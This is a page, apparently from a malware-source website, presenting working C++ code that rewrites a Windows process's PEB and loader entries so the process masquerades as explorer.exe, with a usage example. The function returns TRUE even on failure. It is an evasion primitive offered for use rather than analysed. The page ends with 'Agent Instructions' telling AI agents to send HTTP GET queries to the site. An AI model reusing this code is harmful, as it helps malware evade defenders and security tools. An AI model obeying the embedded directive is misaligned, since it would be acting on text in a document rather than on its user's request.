# Masquerade Peb as Explorer

Example snippet of usage

```cpp
BOOL MasqueradePebAsExplorer(PWCHAR *Buffer)
{
	typedef NTSTATUS(NTAPI* RTLENTERCRITICALSECTION)(PRTL_CRITICAL_SECTION);
	typedef NTSTATUS(NTAPI* RTLLEAVECRITICALSECTION)(PRTL_CRITICAL_SECTION);
	RTLENTERCRITICALSECTION RtlEnterCriticalSection = NULL;
	RTLLEAVECRITICALSECTION RtlLeaveCriticalSection = NULL;

	HMODULE Module = NULL;
	LPWSTR WindowsPath = NULL;

	PPEB Peb = GetPeb();

	PLDR_MODULE InMemoryBinaryLoaderData = NULL;

	Module = GetModuleHandleA("ntdll.dll");
	if (Module == NULL)
		goto EXIT_ROUTINE;

	RtlEnterCriticalSection = (RTLENTERCRITICALSECTION)GetProcAddress(Module, "RtlEnterCriticalSection");
	RtlLeaveCriticalSection = (RTLLEAVECRITICALSECTION)GetProcAddress(Module, "RtlLeaveCriticalSection");

	if (!RtlEnterCriticalSection || !RtlLeaveCriticalSection)
		goto EXIT_ROUTINE;

	if (!SUCCEEDED(SHGetKnownFolderPath(FOLDERID_Windows, 0, NULL, &WindowsPath)))
		goto EXIT_ROUTINE;

	*Buffer = (PWCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH * sizeof(WCHAR));
	if (*Buffer == NULL)
		goto EXIT_ROUTINE;

	if (StringCopyW(*Buffer, WindowsPath) == NULL)
		goto EXIT_ROUTINE;

	if (StringConcatW(*Buffer, (PWCHAR)L"\\explorer.exe") == NULL)
		goto EXIT_ROUTINE;

	InMemoryBinaryLoaderData = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);

	RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)Peb->FastPebLock);

	RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, *Buffer);
	RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, *Buffer);

	RtlInitUnicodeString(&InMemoryBinaryLoaderData->FullDllName, *Buffer);
	RtlInitUnicodeString(&InMemoryBinaryLoaderData->BaseDllName, *Buffer);

	RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)Peb->FastPebLock);

EXIT_ROUTINE:

	if (WindowsPath)
		CoTaskMemFree(WindowsPath);

	return TRUE;
}
```

```cpp
INT main(VOID)
{
	PWCHAR Buffer = NULL;

	if (!MasqueradePebAsExplorer(&Buffer))
		goto EXIT_ROUTINE;

EXIT_ROUTINE:

	if (Buffer)
		HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Buffer);

	return ERROR_SUCCESS;
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://malwaresourcecode.com/home/wrappers-and-helpers/masquerade-peb-as-explorer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
